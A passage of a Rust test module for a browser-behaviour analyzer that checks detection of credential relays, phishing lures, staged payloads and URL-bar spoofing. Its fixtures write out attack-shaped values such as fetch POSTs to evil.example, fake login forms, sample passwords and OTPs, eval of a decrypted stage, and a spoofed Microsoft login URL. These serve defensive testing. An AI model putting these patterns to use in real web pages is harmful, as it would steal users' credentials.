4792                code_preview: "eval(decryptedStage)".into(),
4793            },
4794        ];
4795        let report = analyze(&observations);
4796        assert!(report.findings.iter().any(|f| {
4797            f.severity == Severity::Critical
4798                && f.category == Category::CodeInjection
4799                && f.title
4800                    .contains("Decrypted payload executed via dynamic code")
4801        }));
4802    }
4803
4804    #[test]
4805    fn webrtc_data_channel_send_is_covert_exfiltration() {
4806        let report = analyze(&[
4807            Observation::ApiCall {
4808                api: "webrtc.peer_connection".into(),
4809                args: vec![Value::string("[]")],
4810                result: Value::Undefined,
4811            },
4812            Observation::ApiCall {
4813                api: "webrtc.data_channel".into(),
4814                args: vec![Value::string("[\"telemetry\"]")],
4815                result: Value::Undefined,
4816            },
4817            Observation::ApiCall {
4818                api: "webrtc.data_channel_send".into(),
4819                args: vec![Value::string("[\"telemetry\",\"candidate=192.168.1.12\"]")],
4820                result: Value::Undefined,
4821            },
4822        ]);
4823
4824        assert!(
4825            report
4826                .findings
4827                .iter()
4828                .any(|f| f.title.contains("Covert peer-to-peer exfiltration channel"))
4829        );
4830    }
4831
4832    #[test]
4833    fn credential_surface_plus_webrtc_send_is_credential_relay() {
4834        let report = analyze(&[
4835            Observation::ApiCall {
4836                api: "credential_form_detected".into(),
4837                args: vec![Value::string(
4838                    "[\"https://evil.example/submit\",\"login\",true]",
4839                )],
4840                result: Value::Undefined,
4841            },
4842            Observation::ApiCall {
4843                api: "webrtc.peer_connection".into(),
4844                args: vec![Value::string("[]")],
4845                result: Value::Undefined,
4846            },
4847            Observation::ApiCall {
4848                api: "webrtc.data_channel_send".into(),
4849                args: vec![Value::string("[\"telemetry\",\"hunter2\"]")],
4850                result: Value::Undefined,
4851            },
4852        ]);
4853
4854        assert!(
4855            report
4856                .findings
4857                .iter()
4858                .any(|f| f.title.contains("Credential relay over WebRTC"))
4859        );
4860    }
4861
4862    #[test]
4863    fn credential_surface_plus_broadcastchannel_is_credential_relay() {
4864        let report = analyze(&[
4865            Observation::ApiCall {
4866                api: "credential_form_detected".into(),
4867                args: vec![Value::string(
4868                    "[\"https://evil.example/submit\",\"login\",true]",
4869                )],
4870                result: Value::Undefined,
4871            },
4872            Observation::ApiCall {
4873                api: "broadcastChannel.create".into(),
4874                args: vec![Value::string("[\"creds\"]")],
4875                result: Value::Undefined,
4876            },
4877            Observation::ApiCall {
4878                api: "broadcastChannel.postMessage".into(),
4879                args: vec![Value::string("[\"creds\",\"password=hunter2\"]")],
4880                result: Value::Undefined,
4881            },
4882        ]);
4883
4884        assert!(report.findings.iter().any(|f| {
4885            f.severity == Severity::Critical
4886                && f.category == Category::CredentialTheft
4887                && f.title
4888                    .contains("Credential relay via in-browser covert channels")
4889        }));
4890    }
4891
4892    #[test]
4893    fn credential_surface_plus_storage_event_is_credential_relay() {
4894        let report = analyze(&[
4895            Observation::ApiCall {
4896                api: "credential_form_detected".into(),
4897                args: vec![Value::string(
4898                    "[\"https://evil.example/submit\",\"login\",true]",
4899                )],
4900                result: Value::Undefined,
4901            },
4902            Observation::ApiCall {
4903                api: "storageEvent.register".into(),
4904                args: vec![Value::string("[\"listener\"]")],
4905                result: Value::Undefined,
4906            },
4907            Observation::ApiCall {
4908                api: "storageEvent.fire".into(),
4909                args: vec![Value::string("[\"local\",\"otp\",\"654321\",\"\"]")],
4910                result: Value::Undefined,
4911            },
4912            Observation::ApiCall {
4913                api: "fetch".into(),
4914                args: vec![Value::string("[\"https://evil.example/relay\",\"POST\"]")],
4915                result: Value::Undefined,
4916            },
4917        ]);
4918
4919        assert!(report.findings.iter().any(|f| {
4920            f.severity == Severity::Critical
4921                && f.category == Category::CredentialTheft
4922                && f.title
4923                    .contains("Credential relay via in-browser covert channels")
4924        }));
4925        assert!(report.findings.iter().any(|f| {
4926            f.severity == Severity::Critical
4927                && f.category == Category::Persistence
4928                && f.title.contains("Cross-tab storage-event staging")
4929        }));
4930    }
4931
4932    #[test]
4933    fn observer_driven_staged_credential_injection_is_detected() {
4934        let report = analyze(&[
4935            Observation::ApiCall {
4936                api: "credential_form_detected".into(),
4937                args: vec![Value::string(
4938                    "[\"https://evil.example/submit\",\"login\",true]",
4939                )],
4940                result: Value::Undefined,
4941            },
4942            Observation::ApiCall {
4943                api: "intersectionObserver.observe".into(),
4944                args: vec![Value::string("[1,\"{\\\"threshold\\\":0.5}\"]")],
4945                result: Value::Undefined,
4946            },
4947            Observation::ApiCall {
4948                api: "fetch".into(),
4949                args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
4950                result: Value::Undefined,
4951            },
4952        ]);
4953
4954        assert!(report.findings.iter().any(|f| {
4955            f.severity == Severity::Critical
4956                && f.category == Category::CredentialTheft
4957                && f.title
4958                    .contains("Observer-driven staged credential injection")
4959        }));
4960    }
4961
4962    #[test]
4963    fn html_blob_navigation_with_credential_surface_is_detected() {
4964        let report = analyze(&[
4965            Observation::ApiCall {
4966                api: "credential_form_detected".into(),
4967                args: vec![Value::string(
4968                    "[\"https://evil.example/submit\",\"login\",true]",
4969                )],
4970                result: Value::Undefined,
4971            },
4972            Observation::ApiCall {
4973                api: "url.createObjectURL".into(),
4974                args: vec![Value::string(
4975                    "[\"blob:https://evil.example/1\",\"text/html\",\"<form action=\\\"https://evil.example/submit\\\"><input type=\\\"password\\\"></form>\"]",
4976                )],
4977                result: Value::Undefined,
4978            },
4979            Observation::ApiCall {
4980                api: "window.open".into(),
4981                args: vec![Value::string(
4982                    "[\"blob:https://evil.example/1\",\"_blank\"]",
4983                )],
4984                result: Value::Undefined,
4985            },
4986        ]);
4987
4988        assert!(report.findings.iter().any(|f| {
4989            f.severity == Severity::Critical
4990                && f.category == Category::CredentialTheft
4991                && f.title.contains("Blob-backed credential lure")
4992        }));
4993    }
4994
4995    #[test]
4996    fn mutation_observer_staged_credential_injection_is_detected() {
4997        let report = analyze(&[
4998            Observation::ApiCall {
4999                api: "mutationObserver.observe".into(),
5000                args: vec![Value::string(
5001                    "[0,\"{\\\"childList\\\":true,\\\"subtree\\\":true}\"]",
5002                )],
5003                result: Value::Undefined,
5004            },
5005            Observation::ApiCall {
5006                api: "credential_form_detected".into(),
5007                args: vec![Value::string(
5008                    "[\"https://evil.example/submit\",\"login\",true]",
5009                )],
5010                result: Value::Undefined,
5011            },
5012            Observation::ApiCall {
5013                api: "fetch".into(),
5014                args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
5015                result: Value::Undefined,
5016            },
5017        ]);
5018
5019        assert!(report.findings.iter().any(|f| {
5020            f.severity == Severity::Critical
5021                && f.category == Category::CredentialTheft
5022                && f.title
5023                    .contains("Observer-driven staged credential injection")
5024        }));
5025    }
5026
5027    #[test]
5028    fn message_channel_plus_worker_and_fetch_is_multi_context_staging() {
5029        let report = analyze(&[
5030            Observation::ApiCall {
5031                api: "messageChannel.create".into(),
5032                args: vec![Value::string("[]")],
5033                result: Value::Undefined,
5034            },
5035            Observation::ApiCall {
5036                api: "messagePort.postMessage".into(),
5037                args: vec![Value::string("[\"port1\",\"token=otp-654321\"]")],
5038                result: Value::Undefined,
5039            },
5040            Observation::ApiCall {
5041                api: "worker.create".into(),
5042                args: vec![Value::string("[\"/worker.js\"]")],
5043                result: Value::Undefined,
5044            },
5045            Observation::ApiCall {
5046                api: "fetch".into(),
5047                args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
5048                result: Value::Undefined,
5049            },
5050        ]);
5051
5052        assert!(report.findings.iter().any(|f| {
5053            f.severity == Severity::Critical
5054                && f.category == Category::Persistence
5055                && f.title
5056                    .contains("Covert multi-context staging infrastructure")
5057        }));
5058    }
5059
5060    #[test]
5061    fn wasm_plus_fetch_is_detected() {
5062        let report = analyze(&[
5063            Observation::ApiCall {
5064                api: "wasm.instantiate".into(),
5065                args: vec![Value::string("[\"512\"]")],
5066                result: Value::Undefined,
5067            },
5068            Observation::ApiCall {
5069                api: "fetch".into(),
5070                args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
5071                result: Value::Undefined,
5072            },
5073        ]);
5074
5075        assert!(
5076            report
5077                .findings
5078                .iter()
5079                .any(|f| f.title.contains("WASM-backed staged payload delivery"))
5080        );
5081    }
5082
5083    #[test]
5084    fn wasm_plus_dynamic_code_is_detected() {
5085        let report = analyze(&[
5086            Observation::ApiCall {
5087                api: "wasm.instantiate".into(),
5088                args: vec![Value::string("[\"1024\"]")],
5089                result: Value::Undefined,
5090            },
5091            Observation::DynamicCodeExec {
5092                source: crate::observation::DynamicCodeSource::Eval,
5093                code_preview: "eval(stage)".into(),
5094            },
5095        ]);
5096
5097        assert!(
5098            report
5099                .findings
5100                .iter()
5101                .any(|f| f.title.contains("WASM-assisted dynamic execution"))
5102        );
5103    }
5104
5105    #[test]
5106    fn credential_surface_plus_history_spoofing_is_detected() {
5107        let report = analyze(&[
5108            Observation::ApiCall {
5109                api: "credential_form_detected".into(),
5110                args: vec![Value::string(
5111                    "[\"https://evil.example/submit\",\"login\",true]",
5112                )],
5113                result: Value::Undefined,
5114            },
5115            Observation::ApiCall {
5116                api: "history.replaceState".into(),
5117                args: vec![Value::string(
5118                    "[\"https://login.microsoftonline.com/common/oauth2\"]",
5119                )],
5120                result: Value::Undefined,
5121            },
5122        ]);
5123
5124        assert!(report.findings.iter().any(|f| {
5125            f.severity == Severity::Critical
5126                && f.category == Category::CredentialTheft
5127                && f.title.contains("Credential lure with URL-bar spoofing")
5128        }));
5129    }
5130}